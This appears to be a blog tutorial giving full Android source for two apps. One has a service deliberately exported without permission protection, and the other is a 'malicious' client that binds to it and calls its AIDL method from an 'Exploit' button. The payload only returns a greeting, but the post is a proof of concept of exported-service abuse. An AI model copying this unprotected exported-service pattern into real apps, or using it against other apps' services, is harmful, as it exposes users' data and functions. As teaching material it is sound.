Android Exposed Service Exploit
Android Application Service Code(Application 1):
------------------------------------------------------------------------------------------------------------Details
------------------------------------------------------------------------------------------------------------
Package Name: com.example_service
Class Name: Server_Service
AIDL Interface Name: service_interface
------------------------------------------------------------------------------------------------------------
Code: Server_Service.java
------------------------------------------------------------------------------------------------------------
package com.example_service;
import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
import android.os.RemoteException;
public class Server_Service extends Service {
public Server_Service() {
}
//Create new stub and write implementation for all the function declared in the AIDL file
protected service_interface.Stub binder=new service_interface.Stub() {
@Override
public String printname(String name) throws RemoteException {
return "Hello"+name;
}
};
@Override
public IBinder onBind(Intent intent) {
// TODO: Return the created binder object to the client who is binding to this service
return binder;
}
}
------------------------------------------------------------------------------------------------------------
Code: service_interface.aidl
------------------------------------------------------------------------------------------------------------
package com.example_service;
// Declare any non-default types here with import statements
interface service_interface {
/**
* Demonstrates some basic types that you can use as parameters
* and return values in AIDL.
*/
String printname(String name);
}
------------------------------------------------------------------------------------------------------------
Code: AndroidManifest.xml
------------------------------------------------------------------------------------------------------------
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example_service">
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<service
android:name=".Server_Service"
android:enabled="true"
android:exported="true"></service>
</application>
</manifest>
------------------------------------------------------------------------------------------------------------
Malicious Application Exploiting Service(Application 2):
------------------------------------------------------------------------------------------------------------Details
------------------------------------------------------------------------------------------------------------
Package Name: com.example_service.Service_Client
Class Name: MainActivity
AIDL Interface Name: service_interface
------------------------------------------------------------------------------------------------------------
Code: MainActivity.java
------------------------------------------------------------------------------------------------------------
package com.example_service.Service_Client;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.IBinder;
import android.os.RemoteException;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.Toast;
import com.example_service.service_interface;
public class MainActivity extends AppCompatActivity {
service_interface stub_interface;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
if (stub_interface==null){
Intent it=new Intent();
it.setClassName("com.example_service","com.example_service.Server_Service");
bindService(it,connection, Context.BIND_AUTO_CREATE);
}
}
public void exploit(View v) throws RemoteException {
//Call the method which is implemented in Server_Service and get the result
String attack=stub_interface.printname(" Attacker");
Toast.makeText(getApplicationContext(),attack,Toast.LENGTH_SHORT).show();
}
protected ServiceConnection connection=new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName componentName, IBinder iBinder) {
//Receive the Object which is return by the Sever_Service on Bind Function
stub_interface=service_interface.Stub.asInterface(iBinder);
Toast.makeText(getApplicationContext(),"Service Connected",Toast.LENGTH_SHORT).show();
}
@Override
public void onServiceDisconnected(ComponentName componentName) {
}
};
}
------------------------------------------------------------------------------------------------------------
Code: service_interface.aidl
------------------------------------------------------------------------------------------------------------
// service_interface.aidl
package com.example_service;
// Declare any non-default types here with import statements
interface service_interface {
/**
* Demonstrates some basic types that you can use as parameters
* and return values in AIDL.
*/
String printname(String name);
}
------------------------------------------------------------------------------------------------------------
Code: AndroidManifest.xml
------------------------------------------------------------------------------------------------------------
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example_service.Service_Client">
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
------------------------------------------------------------------------------------------------------------
Code: activity_main.xml
------------------------------------------------------------------------------------------------------------
<?xml version="1.0" encoding="utf-8"?>
<android.support.constraint.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity">
<Button
android:id="@+id/button"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:onClick="exploit"
android:text="Exloit"
tools:layout_editor_absoluteX="116dp"
tools:layout_editor_absoluteY="160dp" />
</android.support.constraint.ConstraintLayout>
Source Code Download
Great man! You have really done the hard working on this post
ReplyDeleteJTAG